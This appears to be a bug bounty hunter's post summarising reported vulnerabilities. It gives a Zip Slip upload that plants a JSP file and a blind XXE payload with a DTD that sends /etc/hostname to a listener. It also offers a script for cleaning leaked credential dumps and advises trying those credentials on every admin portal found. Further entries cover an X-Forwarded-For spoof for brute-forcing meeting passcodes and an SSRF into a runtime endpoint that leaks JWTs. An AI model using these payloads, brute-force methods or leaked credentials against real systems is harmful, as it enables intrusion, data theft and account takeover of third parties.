Ahsan Khan

Update no 12: Reported 70 submissions (total). Critical: Zip Slip (RCE) * Uploading an invalid ZIP file (e.g., an empty file named empty.zip) triggers the following error response: ``` An error occurred while processing your SCORM package. The package may not be in the proper format. The error is: zip END header not found ``` * The error message `zip END header not found` originates from the Java standard library java.util.zip, confirming the backend ZIP handling mechanism. * A crafted ZIP file containing entries with directory traversal sequences (e.g., ../../../../../../usr/local/:)/webapps/login/helloworld.jsp) can be uploaded. * Upon extraction, the application stores the malicious file at the absolute path /usr/local/:)/webapps/login/helloworld.jsp. * The uploaded file becomes publicly accessible via: https://:).com/webapps/login/helloworld.jsp Critical: Blind OOB XXE (EXCEL file) * Added the payload to: `[Content_Types].xml` ``` <?xml version="1.0" ?> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://1337:1337/x.dtd"> %xxe;]> ``` x.dtd ` <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://1337:1338/?x=%file;'>"> %eval; %exfil; ` * Listening on 1338. * Uploaded the excel file and ~Pwn. Critical: ~Pwnd Admin Panel * Deep subdomain enumeration and collected all the subdomains. * Search the same subdomains on Osintleak. * Downloaded all the leaks File: creds.json Use the following script to remove all the junk and the output will be the following: user:pass `` import json import sys def extract_credentials(input_file, output_file): try: with open(input_file, "r", encoding="utf-8") as file: data = json.load(file) credentials = [] for entry in data: # Ensure all possible username/email fields are considered email_or_username = entry.get("email", "").strip() or entry.get("username", "").strip() password = entry.get("password", "").strip() # Check if both username/email and password exist if email_or_username and password: credentials.append(f"{email_or_username}:{password}") # Save to output file with open(output_file, "w", encoding="utf-8") as output: output.write("\n".join(credentials)) print(f"Extracted credentials saved to {output_file}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python extract_credentials.py input.json output.txt") sys.exit(1) input_json = sys.argv[1] output_txt = sys.argv[2] extract_credentials(input_json, output_txt) `` * Now use the above leaked creds on all the admin portals you found while subdomain enumeration. Critical: Joining any Meeting * The application uses meeting IDs and passcodes to restrict access to video calls, enforced by a WAF that blocks IPs after ~100 incorrect attempts. * This protection was bypassed by adding a rotating X-Forwarded-For header (e.g., 127.0.0.1 to 127.0.0.255) to each request, preventing the WAF from detecting repeated brute-force attempts. Request: `` POST /v1/services/xx/meeting?pairing=sip&loc=true HTTP/2 Host: site.com X-Forwarded-For: 127.0.0.1 { "meetingNumericId": "1337", "meetingPasscode": "1234", .. } `` * The attack was executed using Intruder in Pitchfork mode, where payload 1 cycled the spoofed IPs and payload 2 brute-forced the passcodes until a valid one was found. * Once a correct passcode was identified, the attacker successfully joined a live meeting without authorization. * To find valid meetingNumericId values in the first place, another vulnerable endpoint was abused: `` GET /v1/meetingId/1337?_= HTTP/2 Host: site.com `` * This endpoint returned distinct responses for valid vs. invalid meeting IDs, enabling efficient enumeration of active session IDs.

High - SSRF to Unauthorized Access to Internal Resources * Closed ports or services return errors like: Execution of 'GET Request' failed with error: connect ECONNREFUSED 127.0.0.1:80 * Open ports, such as 9001, provide indicative responses, e.g.: Execution of 'GET Request' failed with error: Request failed with status code 404 "404 page not found\n" * Exploited Endpoint: http://127.0.0.1:9001/2018-06-01/runtime/invocation/next The response to the above request exposed sensitive data such as JWT tokens, execution identifiers, and runtime configuration details. High - API Key disclosed in Js file (extension JS-Miner)

You can test SSRF both manually or just use: github.com/swisskyrepo/Paylo… BTW i focus on the manual testing + use the above list as well.